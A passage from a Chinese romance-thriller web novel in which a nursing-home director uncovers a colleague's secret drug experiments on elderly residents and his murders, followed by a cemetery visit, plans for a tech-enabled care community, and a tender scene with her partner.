那天她的孙女照例来看她,夜半时分,张启林以为她走了,于是跟着养老院内他的一个心腹一起,把沉睡的张翠兰弄进了地下室。
周擎越站在台前,刚戴上手套。
“还没好吗?”张启林问。
周擎越浑不在意:“来晚了一点,不要紧,都是我那小师妹,不小心弄断了桐馨的镯子,去帮她修复花了点时间。”
张启林又看了眼躺在台上的老人,没有说话。
周擎越不紧不慢地配药,没一会儿,张启林又问:“周哥,许院长没发现吧?”
周擎越斜睨他一眼:“为什么这么问?”
张启林悻悻挠头:“我就是担心。”
周擎越把针帽回套上去,朝着台上的人走去:“如果担心,这事不就干不成了么?”
他盯着老人,看着她即将成为他的试验品,心里快意横生。
这都是他们应该的,这些老人,就跟那个对他施暴的人一样该死!
张启林站在他对面,等待他的动作。
简单消毒之后,周擎越还是攫取了他最熟悉的那个部位。
有一颗小小的红痣,既能迅速找准,也能稍加掩盖。
细长的针对准,即将刺进皮肤。
这样的动作他们早已习以为常,今夜却多了非比寻常的意外。
林澄从拐角冲出来,一把推开了周擎越,把奶奶护在身下。
她怒吼:“你们这群混蛋!我说我奶奶为什么痴呆越来越严重?原来是你们这群恶人!你们根本不配开养老院!我要去曝光你们!”
周擎越和张启林都是一愣。
还没反应过来,台上的人已经睁开了眼,林澄一喜,迅速把人抱下来,想要带她走。
然而下一秒,周擎越已经挡在她们面前。
“曝光?就看你有没有这个本事了。”
说完,周擎越朝张启林递了个眼色,张启林想从身后偷袭,然而他们没想到,这地下竟还藏着一个人。
林澄的男友拿着一根棍子从拐角冲出来,重重地打在了周擎越的后背。
一阵剧烈的疼痛袭来,周擎越险些摔倒,口袋里的手镯也掉了出来。
好在这种力道,比那些年受的苦要轻松得多。
他忍着痛,回神立刻转身。
那个男人根本不是他的对手。
他轻松地抢过了他手里的棍子,一棍子毫不留情地下去。
只听见身后的人大叫了一声,男人晕了过去,头下开始淌血。
身后的人似乎是想冲上来,却提前被制服——
张启林给她注了镇静药。
她身旁的老人跟着害怕,却已经神智不清,她捏着女孩的手,另一只手捡起了掉落在地上的手镯,不住摇晃女孩的身体:“阿澄……桐馨……许院长……”
周擎越斜了她一眼,直接把镯子抢了过来。
呼吸稍稍不稳,拧着眉朝张启林道:“解决这两个人!”
60. 焰火+19
张启林本想直接给两人注药,但女孩却中途醒了过来,药物不够,他只能拿起棍子,一下又一下地砸在女孩身上。
女孩趴在地上,手臂伸向不远处的奶奶,撕心裂肺地呼喊:“奶…奶……奶奶……”
周擎越还在试验台上继续给老人注药,可这个神智不清的老人听见了熟悉的叫唤,混沌的双眸清澈了几分,她猛地坐起来,眼神精准地停在了女孩身上。
老人也不知道哪里来的力气,一脚踢开了周擎越,一个翻身掉下了试验台。
顾不上疼痛,她连滚带爬地靠近女孩,却突然被身后的力量制止。
“阿澄!别打阿澄!打我!阿澄!啊啊!”
“许院长……救阿澄!救阿澄啊!阿澄!我的阿澄!”
尖锐的嘶吼回荡在这个血腥味渐浓的地下室里。
不知道过了多久,一切都静止了。
他们把那个多事的女孩和那个男人埋在了即将新建的小平房的地下。
监控被他们删掉了,地下室的血液也被清理干净。
那两个人,最后也只不过是‘失踪’。
恰好老人成了孤寡老人,成功被他们囚禁,可以专心试验。
周擎越自认为做得天衣无缝、完美无缺。
直到那晚接到哥哥的电话。
他异常严肃:“擎越,你是不是在做一些不好的事情?”
那是他第一次紧张。
他暂时找了借口稳住哥哥,说他会亲自出国找他解释清楚。
然而不久后,张启林告诉他,许院长有取消和怡康合作的意图。
本就处在紧张状态下的周擎越以为,不仅是哥哥,就连师父师母也知道了。
那小暻呢?她知不知道?
周擎越立刻放下了所有的事情,在确定许暻不知道以后,和张启林提出要解决许院长。
“周哥,他们是你师父师母……”
周擎越垂眸冷哼,声音冷得可怕,浑像从上古寒冰时期穿梭而来:“那又如何?我不会让任何人,阻挡我想走的路!”
严肃冷寂的审讯室中,许暻放在身前的手已经紧紧捏起了拳头,牙关紧闭,没有一刻松懈的时候。
她怕自己只要松懈一点,就难以忍住冲上去揍他的冲动。
心口一阵接一阵的酸涩上涌,脑海中全是爷爷奶奶和善的笑脸,眼前渐渐模糊,可那个恶魔的身影却依旧清晰无比。
许暻咬着字,一个一个往外吐:“周擎越,你有没有想过,万一爷爷奶奶并不知道你做的那些恶心事呢?他们养育了你十几年!十几年!!”
周擎越身上半分愧疚的影子都看不到,依旧像是看猎物一般盯着许暻,只是多了几分可惜,他从许暻的额头到脖颈,仔仔细细地扫了几圈,轻舔舌尖:“就算不知道,我也没有留他们的打算。”
“桐馨的院长,他们就不应该留给你,这么些年来,我哪里不如你?凭什么你一个才毕业几年的小丫头当院长,而我就只能当你的帮手?”
许暻终于明白她自己真是大错特错、错得离谱!
她居然会觉得这种人是不可多得的人才?
他根本就是最恶心的败类!
做那些罔顾法律的试验,完全没有了道德和底线!害了无数无辜的老人,害了张奶奶,害了林澄!
他不顾亲情,去国外的解释不过是加害他自己的亲哥哥,让他成了植物人,没了未婚妻,抢过了他的遗产,还害死了养育他十几年的爷爷奶奶!
针对祁聿、加害颐安,更是又害死了无辜的老人!甚至为了自保,把所有的罪证都往张启林身上揽,让自己完全置身事外!
这样一个沾满鲜血的魔爪这么多年从来没有停下过侵蚀!
许暻忽然想起十几年前的那个雪夜,想起从自己嘴里说出来的话。
“哥哥,你跟我们回家吧?”
如果时光能倒回那一天,她一定不会轻易可怜他,她一定不会说下那一句话。
可是时光无法流转……
爷爷奶奶也不会再回来了……
冰凉的泪珠停在手背,仿佛浸染了多年前雪夜的寒冷,凄凉无比。
许暻不想再跟这个人说一句话。
她起身想走,那人却又说了句:“小暻,命运如果再来一次,我一定不顾一切先得到你,然后和你一起,完成我的伟大梦想!”
“啪——”
清脆有力的耳光响彻审讯室,两侧的警察很快上前阻拦。
隔着两道臂膀,许暻狠狠剜他,手心弥漫着火辣辣的痛,她却仍觉得不够:“再来一次,我一定不会让爷爷奶奶遇到你!”
……
再回到医院,已经是凌晨三点。
祁父祁母倚在沙发上小憩,祁聿还没醒过来。
许暻本想让宋楹回家,但她说不放心要留下来,于是在外厅的小沙发上休息。
拖着一身疲惫和愧意,许暻轻手轻脚地走到了祁聿床边。
她缓缓坐下,房间里安静得只剩下仪器和呼吸声。两只手无力地握起祁聿的手,额头轻轻搭在他的手背上,以求暂时的放松。
他的手温热,肌肤相触仿佛有无形的力量在往她身体里灌输。正是脆弱的时候,许暻闭着眼,连续的湿润往眼睑中沁出,连接的温热多了几分潮湿。
她倚靠的手背湿了又干、干了又湿。
窗外雨势渐小,天光蒙蒙亮。
许暻最后趴在床边睡着了。
不知道过了多久,耳边隐约响起几道声音,最后好像又被人制止。
她陷入了深沉的睡梦中,眼皮沉重,难以醒来。
梦里,是沉冷的冰雪。
奶奶牵着她,爷爷牵着奶奶,三个人走在雪影中,正打算回家。
她看到自己手里拿着一串冰糖葫芦。
她记起来,是她说想吃,爷爷奶奶才带她出来买的。
细腻的糖衣在舌尖慢慢融化,她还没来得及尝到甜,就听见了奶奶的声音:“乖乖,这么冷的天,穿这么少,赶快回去吧!”
手里的冰糖葫芦没拿稳,掉进了绵白的冰雪中,却不见踪影。
她狠狠一愣,身旁的爷爷奶奶似乎完全没注意到她的异常,视线只停留在墙角的那个少年身上。
许暻稍稍慌神,才朝那人看过去,却迎面撞上那人奸邪的笑。
心口一缩,她仿佛又看到了从他双臂渐渐长出的魔爪。
许暻毫不犹豫,很快握紧奶奶的手,又颤抖地望向爷爷,催促道:“爷爷奶奶,我想回家,我们快回家吧!”
快走……<
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他们要赶快走……
可爷爷奶奶宛若没听见一般,站在那里一动不动。
下一秒,站在墙角的那人突然从怀里掏出了一把刀,眼疾手快地捅在了爷爷奶奶身上。
一片雪白里瞬间落了刺眼的红。
她下意识尖叫,却发现完全听不见自己的声音。
爷爷奶奶的身体瞬间倒下,她跟着跪坐在雪地里,眼泪不停地往下掉,不管她怎么呼喊,爷爷奶奶都没有动静。
紧接着,那把带了血的利刃横在她眼前。
她瞪向那张可憎的面容,几乎使出全力去抢夺他手中的利器,不顾一切地想要为爷爷奶奶报仇,那人却提前有了准备,提前拿出一把小刀刺向她的心口。
她瞬间软了力,喉间涌起强烈的腥甜,眼前的雪白和血红都已经成了虚影。
她强忍疼痛,把心口的小刀拔了出来,想要回捅向那人,可他却骤然褪去了人皮,露出他最本来的面目。
一张漆黑的面庞里裹着血盆大口,唇边透着可怖的恶笑。
他长大了口,以飞快的速度靠近,仿佛下一秒就要将她完全吞噬。
许暻只觉得咽喉处一阵濒死的窒息蔓延,她的抵抗全部成了徒劳。
“不要!”她大喊。
全身猛地一震,双眸惊恐地睁开。
梦里跟随的惧意让她怔愣了许久。
等回神之后,她才发现,自己正被人抱在怀里,而且……
她是躺在床上的。
视线没来得及聚焦,那道熟悉又渴盼的声音先溜进了耳膜:“别怕,我在。”
眼皮猛然抬起,她对上了那道幽深漆黑的视线。
一瞬间,惧意全然消散,安全感重新回笼。
“阿聿……”她下意识开口。
短暂的出神后,她又惊又喜:“你醒了!”
祁聿还穿着病号服,脸上尚且停留着病态的苍白,他弯了弯唇:“是。”
宽大的手掌停在她带着泪痕的眼角,指腹的热意隔着皮肤慢慢渗透,许暻有些难过。
祁聿又接着说:“我听宋楹说你们昨晚去了警局,凌晨三点才回来,怎么不回去睡觉?”
食指沿着眼角往下,勾去了滑下来的湿润,最后停在她的唇边。
许暻没有回答,一头扎进他怀里。淡淡的药水味滚入鼻腔,紧随而来的是从他心口蔓延出来的温热。
许暻深深地吸了一口,声音被他的胸膛挡住了一部分:“我担心你,昨天受伤的应该是我才对,周擎越是冲着我来的,你不应该帮我挡……”
沉闷的声音在他的胸口震响,接触他的嘴唇也有些麻麻的。
后背突然被他搂紧,宽大的手掌沿着脊柱慢慢滑动。
她听见祁聿说:“我不会让你受伤。”
一句简单的话语,却深沉万分,直接钉入她的心口,搅碎了她所有的防御。
梦里的黑暗与恐怖瞬间成了幻影。
许暻什么话都不想再说,抓在他腰间的手不断缩紧、再缩紧。
祁聿也没有说话,更没有抵抗,任由她的动作,同时也将她抱得更紧。
等到怀中的人没有了颤抖的余地,他又靠近,温热的唇抵在她的额前,轻啄一下:“都过去了,许暻,别怕,我在。”
61. 焰火+20
三天后。
卢警官说已经找到了易玲。
多亏了那晚的暴雨,飞机被迫停飞,易玲没能走了。
张启林自杀的事情,周擎越也已经承认,是他干的。
原本张启林失手害死了那位孤寡老人,他想悄悄解决,但提前被人发现报警,他还担心如果被警方查出来老人体内残留的药物怎么办。
恰好那天易玲去城南办事,撞见了去赵强家里的‘祁聿’,之后跟着‘他’,又撞见‘祁聿’和‘许暻’出现在了城南监狱,出来之后两人神色凝重。
易玲很快把这事告诉了周擎越。
张启林知道后的第一反应是直接杀了赵强的老婆,但周擎越阻止了他。
他和张启林说眼下杀人会引出很多不必要的麻烦,提议让他先躲起来,等风头过去,他干脆带着他们去国外发展。
张启林信了。
但周擎越却是想把所有的一切都推到张启林身上。
反正当初找赵强的人,只有张启林而已。
出事的孤寡老人,也是张启林弄的。
怡康,也只是在张启林名下。
那几天,张启林都躲在小平房里,周擎越从地下室过去给他送食物,张启林喝下的有毒饮料也是他弄的,他提前找陈以轩串好了口径。
在张启林尸体旁的遗书,也是周擎越模仿的他的笔迹。
至于张启林的u盘,卢警官猜测,应该是张启林躲起来的时候察觉到周擎越想把罪名都推到他身上,所以孤注一掷,把证据藏在了怡康,或许就是想等着人发现。
对于颐安的两次黑客侵袭事件,在祁聿提供的ip地址以及反向追踪代码后,周擎越也全部承认。
当时张启林知道张翠兰还活着,特地跑去了颐安社区偷拍,周擎越没想到张启林会那么蠢留下痕迹,只好入侵他们的系统让他们暂时转移注意力。
恰好当时正逢养老院评级,再加上周擎越本就不想让颐安压桐馨一头。
至于第二次,是他在医院意外撞上张翠兰,张翠兰甚至认出他来了,虽说她已经痴呆,但保不齐会有清醒的时候。
他想干脆就一不做二不休,正好跟祁聿来往密切的那位郑总要出国,他不如利用舆论搞垮祁聿。
等祁聿不在颐安了,他就能去解决张翠兰了。
祁聿垮了,许暻自然也会离开他了。
然而他却无论如何也没想到,颐安的那些老人会站出来帮祁聿说话!
计谋全部坍塌,他想干脆带许暻走,却又毁在了张启林的u盘上!
目前周擎越被关起来等着上诉,易玲和陈以轩以及涉事医生也及时被抓。
还有周擎越给祁聿的那几管药液,经查验后被全部销毁,林澄及其男友的尸体在小平房下被找到,重新安葬。
许暻还从卢警官那里了解到,周擎越回国是为了从她手里夺走桐馨的掌控权。
怡康为了那些药物用尽了资金,无奈倒闭。
他和易玲联手说服许暻收购怡康,也是为了用桐馨继续滋养怡康,让他们的试验继续。
许暻才明白,为什么当初张启林会自降身价一定要让桐馨来收购怡康。
所有的一切,竟然都是他们做好的局。
……
祁聿联系了陈律,找了最好的律师团队,让周擎越没有一丝转圜的余地。
郑总也回到国内,帮祁聿彻底澄清,有关于祁聿的负面言论全部消失。
祁聿出院那天,许暻带他去了墓园看爷爷奶奶。
灿阳高照的墓园中,一座座墓碑立在那里,上面印着最和睦的笑容和最亲切的名姓,等待着和在世亲人一次次的重逢。
爷爷奶奶的墓并列而立,许暻和祁聿一身庄重的服饰,手里捧着新鲜纯洁的白色雏菊,缓缓置于墓前。
许暻蹲下身,手臂伸出去,修长的指节在那两张被定格的照片上流转,眸光发亮。
她低低开口:“爷爷…奶奶……我来见你们了。”
那两张慈祥依旧的面容仍然鲜活,仿佛从未离去。
眼眶中的泪珠不知道何时已经跳脱禁锢,轻松地坠停在墓前,被头顶的阳光照射出细碎的光点。
许暻抿了抿唇,头也跟着垂下,有意躲避那两双定格的视线,她哽咽道:“爷爷奶奶,对不起……对不起……”
腰上突然多了道力量,温热的大掌落定,许暻稍稍一愣。
不稍片刻,祁聿低沉的嗓音在耳边响起:“爷爷奶奶,小暻现在很厉害,她一直在坚守你们的心愿,把桐馨经营得越来越好。未来,桐馨一定会更好,我们也会更好的。”
醇厚的嗓音宛若香醇的咖啡液,融入了牛奶的丝滑。
再也没有了那股浓厚的苦涩,只剩绵长诱人的香。
许暻明白,这话是说给她听的。
祁聿又说:“我们也终于知道,当年车祸的真相,但是幸好,真正的坏人已经伏法。”
腰肢感受到了来自那掌心的热,是她熟悉的那股火苗。
或许是回到了他自己的身体里,他对这火苗的驾驭能力更加成熟,火势迅速涨了起来,迅速穿梭进她的身体里,直接烧融了她心底那块带着愧意的寒冰。
许暻的脑袋被头顶的太阳晒得热热的,她重新抬头,看向墓碑上的两人。
他们在笑。
笑得一如记忆里那般温和慈祥,带着无尽的包容与宠爱。
耳边似乎响起了爷爷奶奶的声音:“小暻,不管你做什么,爷爷奶奶都会支持你的!”
“我们小暻,一定要快快乐乐地生活!你开心了,就是爷爷奶奶最大的幸福!”
眼眶持续发热,她又悠悠转眸,视线聚焦时,她清晰地看到了那双同样带着水光的眸子。
心脏猛烈地撞击了一下胸壁,随后,全身的血液都变得滚热。
他背后炽热的太阳光有些刺眼,她却依旧不舍得移开眸光。
身侧的手被他抓牢,她又听见他说:“不管你做什么,我都会支持你。未来,我们会更好的。”
包裹着甜丝的酸涩上涌,她一句话都没说,深深地扎进了他的怀抱。
就算祁聿狡猾、肉麻,她也认了。
她喜欢万分,就够了。
……
日子终于回到正轨。
许暻还没来得及搬回自己的公寓,还住在祁聿这里,心思都在工作上。
她正忙着给桐馨招新员工。
她打算提拔王医生成副院长。
王医生在桐馨工作已经快十年,又是硕士毕业,不仅工作能力强,而且总是点子不少。
怡康那边原本定于月初开展的装修也要后延了。
她要先解决那间晦气的地下室。
张奶奶仍然住在颐安,考虑到老人的精神状态,他们没带她去见林澄
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。
基本上都是祁聿去看她,宋楹偶尔过去帮她做理疗。
许暻想,等老人精神状态再好一些,她再去见她也不迟。
许暻刚回家,祁聿已经在厨房里准备晚餐。
她放了手里的东西之后先去阳台上看了那几盆娇艳欲滴的玫瑰,花瓣上还停着大大小小的水雾,清香裹在晚风里,盈满了整个阳台。
她看到玫瑰花旁边贴的指南卡,在今天的日期上已经画了一颗五角星。
她知道,这是已经浇过水的意思。
许暻弯了弯唇,又俯下身深深嗅了几下花瓣里的清香,脚步轻快地跑进了厨房里。
细长的手臂直接从背后圈紧了匀称有力的腰腹,她从他宽阔的背脊旁探出脑袋问:“今晚吃什么?”
被她抱住的人低笑一声,腰腹轻轻收缩,她的手也跟着一起动。
他回答:“蟹黄面,昨天不是说想吃?”
他话音落下的那一秒,许暻已经看到锅里浓稠的蟹黄,祁聿只是轻轻搅动,香味便扑了满鼻。
许暻的肚子跟着饿了,她满意笑笑:“不错,要帮忙吗?”
“不用,马上好了。”
许暻点了点头,手掌在他的腹部拍了两下:“好,那我就出去了?等吃完之后,跟你商量点事。”
祁聿回头瞥了她一眼,确定那双眼眸不算凝重,这才又转了回去,应了声:“好。”
溢满香味的餐桌上,两人并排而坐。
许暻埋着头,沉浸地享受晚餐,面前的水杯被身旁的人一次又一次续上水。
她已经越来越习惯和祁聿的同居生活,也越来越适应这些亮色家具了。
饱满的蟹肉在舌尖滚出软弹的细腻,丝滑的蟹黄裹着充盈的汤汁,唇齿充斥着醇厚的香味,久久不散。
让人有些流连,又有些上瘾。
祁聿突然开口:“之前你做的那份方案,已经在董事会通过了。”
他说的是李董之前让许暻做的那份方案。
闻言,许暻咬断了刚吸起来的面,舔了舔唇,眸色一喜,“真的?太好了!”
祁聿的眸子跟着她透出喜色,目光又缓缓下移,停在她透着水光的唇上。
短暂的几秒后,他不动声色地移开眸子,清了清嗓。
许暻见他一副有话要说的样子,停下手里挑面的动作,正欲开口。
不过祁聿先了一步说出来:“我其实在想,我们是不是可以开辟一个新思路,弄一个真正的科技融合人文的养老社区?”
许暻又是一喜,没来得及接话,祁聿又补充道:“毕竟颐安和桐馨最主要的受众已经定了型,但是其实也可以合作弄一个全新的养老社区,你觉得呢?”
她稍稍仰头,静静地望着那张属于他的面容。
没一会儿,她已经感觉到了自己的眉眼弯起,一股强烈的、浓厚的欣喜从心间爆发而出,嘴唇也跟着扬起弧度。
就好像她碰巧发现了那两堵原本对立的墙的折中点,她正要与他分享,却发现,他已经朝着折中点奔走而来。
而且这一次,没有任何锋芒与尖锐,只有真诚与炽热。
祁聿不明白她笑的意思,视线又不由自主地落在了她的唇上。
他的动作被许暻清晰地收入眼底,她凑上前,嘴唇快速地啄了一下他的唇。
“祁总,就算是对手,我们也是最有默契的对手。”
62. 焰火+21
祁聿有短暂地发愣,双眸茫然地眨动两下。
许暻被他的反应逗笑,很快解开了他的疑惑:“我也想和你说这件事,等吃完,给你看看我的新方案!”
祁聿又快速眨了眨眸,反应了两秒后似乎才明白许暻的话。
他的舌尖不自觉冒出来,在那张软唇上舔了舔,像是在回味。
然后才迟迟地应道:“哦……”
等祁聿坐在书房里,看到了许暻递来的方案之后,他才彻底明白许暻说的‘最有默契’是什么意思。
这份方案虽然做得不全,但前半部分里的策划书已经写得很清楚——
许暻想要发展一个全新的、独特的养老模式。
她的手肘撑在祁聿的肩上,身体的大半部分力量都渡给了他。
他边看她边解释:“其实自从上次楹楹说过合作才能共赢之后我就有想过,把颐安和桐馨的理念融合会不会更好,但其实我们可以站在自己的角度想一想,桐馨是靠着人文打出来的口碑,颐安是靠着科技打出去的口碑,简单的整改肯定是没问题,但如果是完全改变了,那两个企业的核心其实就变了,这对颐安和桐馨未必是件好事。”
她所说的,正是祁聿一直考虑的。
祁聿点了点头,等着她继续。
“所以啊,我就想,既然不好完全改革原有的核心,那就一起去创造一个全新的模式就好了,就以颐安和桐馨合作的名头,这样不也是好办法吗?而且这样一来,颐安和桐馨就能面向三批受众,全方位发展养老,能让想住进养老院的老人们拥有更多的选择,满足更多老年人的需求,你说呢?”
许暻想过,反正她自己都已经接受科技养老了,就没必要再固步自封。
人文是她一直坚守的没错,但科技并不是一无是处,并且又是发展大势,走向融合肯定是必然。
就算他们不做,也总会有人去做。
既然如此,他们何不成为那个先锋?
她继续补充:“我想过了,你看现在养老院其实都非常看重人文服务了,但其实咱们也可以参考一下酒店的那些服务管理,现在很多酒店都在用机器人取送外卖、餐食什么的,也是一种与时俱进嘛,所以咱们在养老院就可以用科技作为基础,同时呢又大力发展人文,两者都不缺,这样才是一种进步嘛,你说是不是?”
她看过祁聿的一些理念汇总,她知道他其实就是想去节约人力资源,但是节约人力可以不用一棒子打死,那些简单的送餐还是可以让机器替代的。
比如可能有些老人恰好在饭店还不饿,不想吃饭,但是过了饭点,食堂的阿姨下班了,又没办法送餐。
这个时候就能提前在养老院设置一片区域,专门放置保温箱,让食堂阿姨每天把多出来的餐食保存在那里,等老人想吃了,只要按下和机器人连通的按钮,机器人就能自动解锁保温箱,取好餐食送到相应的房间。
恰好祁聿他们那边有往养老社区里塞机器人的方案,她仔细想过之后,觉得也不是不可行。
时代进步,老年群体也跟着迭代,老年人的需求也越来越‘年轻化’,所以他们的服务其实也可以试着‘年轻化’一些。
毕竟养老院的‘治疗’都是其次,最主要的还是‘生活’。
人文可以出力,科技自然也能出力,只要最终的效果是他们想要的,其他的都没必要计较。
她想自己如果在老年时期住进这样的养老院,是会非常满意的。
祁聿差不多翻完了整个提案。
从最初的困惑,到惊讶,再到此刻的欣喜。
他其实十分意外。
他曾经觉得,他和许暻的理念是两块怎么都无法相交的板块,以为许暻很难接受他的理念,如果想要相交,她是需要退让和妥协的。
现在他觉得是自己的想法太过狭隘。
她又怎么不能接受他的科技养老呢?
其实他们都能接受自己固有的理念以外的东西,只是最初总是会坚定自己的理念是最好,以此去壮大自己的理念。
长时间沉浸其中之后,身边恰好出现了一个反对自己理念的人,他们交锋的方式没有那么正确,时间沉淀之后,自然会下意识排斥。
其实说到底,他们只是需要一个认清彼此理念的机会。
就像他们认清彼此的感情一样。
祁聿突然觉得心口一阵灼热,眼角微微发酸。
他没有转头,只是伸手抓紧了悬在身侧的葇荑。
十指相扣。
他说:“这个提案,我很喜欢。”
简简单单的一句话,不再需要其他的言语,许暻懂了他的意思。
身体自然地跌进他的怀里,稳稳地坐在他的腿上,另一只手勾住了他的脖颈。
她早已经胸有成竹,知道祁聿肯定不会拒绝。
不过嘴角的弧度还是压制不住地上扬。
两人的距离很近,近到许暻能感受到他的气息,能闻到那股清冽的雪松香。
她的话语头一次带了点撒娇的味道:“我就知道你会喜欢,不过祁总,这里面还需要补充很多科技相关的东西,我想我这个半外行,还需要和你多学习学习才行。”
祁聿瞬间明白了她的意思——
原来她说的商量,是要商量跟他取经。
祁聿一个勾手,把人扶正,让她的背脊贴在了他的胸腹。
然后去开了桌上的电脑,故意调侃:“许总明明知道我不会拒绝的。”
许暻还是没忍住笑出了声。
借着电脑屏幕的边沿,她探到了他勾起来的唇角,以及眼底弥漫的笑意。
和他十指相扣的那只手捏紧了些,身子往后又靠了靠:“我知道,我的阿聿最好了!”
她听见身后那人笑了声,胸膛的热意渐浓。
她的脸也悄悄泛起了红晕。
抿唇看着他的手利落移动鼠标,打开了桌面一个加密的文件,骨节分明的手指快速在键盘上敲动几下,解开了文件。
这个文件里存着一些科技养老产品的信息,还有一些提案。
只不过此刻许暻的注意力不在文件的内容上,而是在他刚刚输入的密码上。
“522410?这个密码有什么含义吗?”
话刚问出口的那一刻,许暻明显感觉到她坐着的那两条腿动了动。
祁聿没有回答。
她干脆转过头去,双眸直视他,一副‘逼问’的硬气模样。
祁聿却明显心虚,眼神躲避着她。
虽说许暻曾经说过,自己对他的秘密不感兴趣,但那都是谈恋爱之前的事。
现在他们都确定关系了,有的秘密她还是得知道一下的。
不过许暻不喜欢来强制的。
她学着祁聿的狡猾,抛出了一个非常诱他的条件:“祁总如果告诉我的话……我可以现在就让祁总转正!”
“……”
她看到祁聿欲言又止的模样,觉得狡猾这一招实在是太美妙了!
甚至为了防止他拒绝,她又补充了句:“如果祁总不说……就彻底没有offer了。”
“……”
许暻从他的眸中探到了一丝委屈,她却笑得更加狡黠。
她只是运用了一下从他那里学来的招数而已。
他那么聪明,肯定知道孰轻孰重的嘛。
许暻为了尽快‘逼供’,握着他的手甚至有松开的趋势。
然而那人很快扣紧,直接给了她答案:
“52应该很好理解吧?24对应的字母是X,10对应的字母是J……”
他垂着眸,甚至还侧了侧头,不愿意和许暻对视。
可他涨红的耳根和脖颈早已出卖他。
X和J这两个字母,就算别人不熟悉,许暻都不可能不熟悉。
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>作为她名字的首字母,她和这两个字母相处了28年。
所以连起来就是……
我爱许暻。
许暻望着他红透的皮肤,脖颈上轻微暴起的血管,突然生出一口咬上去的冲动。
她也真的那么做了。
坚固的牙齿轻轻地咬在皮肉上,许暻的腰突然被大掌扣紧。
紧接着,她听见了祁聿低低‘嘶’了一声。
唇齿碰触到灼热的肌肤,烧得她的脸颊都隐隐发烫。
祁聿没阻止她,她也没有很快松口。
不知道在他的脖颈处洒了多少次热气,只看到他的肌肤越来越红,她才松了齿上的力道,然后稍微伸出舌头,在被她咬过的地方,轻轻勾了一下。
而被她撩拨的人,明显颤了颤。
等唇齿彻底离开,那一块已经留下了很浅的一圈牙印。
她的一只手抬起祁聿的下巴,让他不得不和她对视。
她才发现,这个人,原来可以看不到一丝傲慢、冷淡、平静。
原来他也有快要失控的模样。
他的眸中被灼热的欲念浸满,夹杂了浓烈的羞意,以及一丝委屈。
她才知道,祁聿会有这样的一面。
她好喜欢。
心跳被他这副模样牵扯得狂跳不止。
她很迷恋。
甚至幻想,如果真的失控,他又会是怎样的?
两人的视线交织太久、缠绵太久。
有的时候,是不需要说太多话的,只用简单的眼神和行为,就足以让事情发生。
许暻的视线仔细地划过他脸上的每一处,最后停在他的唇上,直接吻了上去。
祁聿在她吻过来的那一刻自然地闭上了双眸,继而回应着她的吻。
和他们灵魂互换的时候不同,现在的他们,是真真切切在他们自己的身体里,感受着真正的彼此的气息。
许暻才知道,有的火,是能一点就燃得异常旺盛的。
祁聿像是真的失控了,他比前几次还要凶猛,一上来就将她嘴里的空气全部攫取完,又接着汹涌地掠夺。
他又同时烧着火,把她身体里的水分也一起带走。
她是缺氧,呼吸是有些不顺畅。
可她不知道怎的,即使难受,她也贪恋这种感觉。这样猛烈炽热的缺氧感,就是让她欲罢不能。
电脑里的文件孤零零地站在那里一动也不敢动,桌前的暧昧声响却大摇大摆地示威。
两人仿佛已经忘了坐在这里是为了什么,全然沉浸在彼此的气息里。
吻着吻着,原本扣在许暻指缝中的手已经移了位。
灼热的指腹不知道什么时候已经溜进宽松的卫衣里。甚至来不及等待,只是隔着束缚,便开始享受。
呼吸彻底乱了。
许暻半睁开眸,只看到祁聿的脸完全红透。
他果然就是这样的体质。
一害羞起来,就会红得不成样子。
只是她猜测自己现在肯定也没好到哪儿去。
不然她不会有这样激昂的情绪,更不会颤得如此厉害。
许暻又重新闭上了眼,继续动作,继续等待。
等待着接下来会自然而然发生的事,等待着她和祁聿的一切。
所以就算是束缚消失的时候,她也没有一丝抗拒,只是稍微一愣,很快便接受了。
祁聿空出来的那只手搂紧了她的腰。
她也能感受到来自于他的滚烫。
她以为,他们会回房间。
然而缺氧感却在那一瞬骤然消失——
祁聿松开了她。
连同那只手也从卫衣里抽了回来。
许暻又是一愣,双眸扑闪了几下,还没来得及开口,祁聿就将下巴抵在了她的肩头。
他的气息很不稳,但是那句话却清晰又坚定:“我还是想和你慢慢来。”
63. 焰火+22
许暻的两只手虚揽在他的腰腹,修长的指节轻微发颤。
她怔了片刻,意识逐渐回笼之后,嘴唇滞后地朝着两边弯起弧度。
深吸了口气,身体里些微躁动的因子跟着平复了些。
许暻的额头贴在祁聿滚烫的脖颈,随着他的频率一吸一呼,说话带了些气音:“好,我们慢慢来。”
兴奋起来的荷尔蒙跟着时间一起悄悄溜走,两人重新坐好,注意力又回到了电脑的文件上。
祁聿的两只手臂把许暻围在了书桌和他自己的身体中间,沾染了些许欲念余韵的嗓音像是一只灵活的大手,在耳膜外的那一根根无形的琴弦上颇具技巧地挑动着,包裹着每一个字节音符往心口探。
许暻听得险些出了神。
理性和感性伸出了互不相让的双手,死死牵扯着对方,她紧抿着唇,把双眸紧紧粘在电脑屏幕上。
耳边他的声音断断续续地往脑子里灌:“这个提案里的机器人可以根据老人的实际情况制定特殊的能动场景……就好比市场上的一些情节游戏……能提供情绪价值……有的老人比较内敛不喜欢和人交流……这是一种很好的陪伴手段……也能减少抑郁症的发生……”
机器人……情节游戏……情绪价值……抑郁症……
嗯……不错……
祁聿的脖颈好烫……暴起的青筋也太诱人了……
眼前的画面接着往下翻,不过很快祁聿又返回了上面一条,补充道:“不过这一点其实也可以精简,有的老人如果不愿意接触机器人,也可以直接用程序代替,虽然大字平板的效果可能没那么好,但也是一种备选。”
用程序代替……大字平板备选……
也不错……
他的嘴唇好软……声音也好好听……
画面接着往下,祁聿继续说:“这个是颐安近期正在研发的一个新产品,是在普通轮椅的基础上进行了智能改造,除了常规的助行之外,智能轮椅也能辅助老人简单地上下楼层、自动规避障碍物、提前预判跌倒风险,以及危机时刻自动报警,不过这项产品还需要经过多方试验才行。”
“其实科技养老产品基本都是围绕老人群体最常见的一些生活问题和疾病后遗症带来的不便去研发的,咱们出发点是一样的,只不过选了两种不同的方式而已,所以你能想到的其实都能往方案里写……”
智能轮椅……简单辅助……预判风险……
这个好……
出发点一样……方式不同……
方式……
他们刚刚是法式热吻……上次是浅吻辄止……
她都挺喜欢的……
许暻下意识抿了抿唇,想要接着听,视线跟着滑动的屏幕移动,却冷不丁停在了电脑边沿的黑框上。
如镜面般的黑框恰好能够清晰映出祁聿嘴唇的轮廓。
她的眸子很快定在了那里,一动不动。
他的唇形好漂亮…之前在他身体里的时候,她就对着镜子看过,这张嘴唇怎么那么会长……
太诱人了……
耳边的声音逐渐失了逻辑:“考虑到部分老人对知识的渴求比较强烈……现在不是很多老年大学……有课程包……娱乐学习……满足他们的……”
祁聿的声音突然停了。
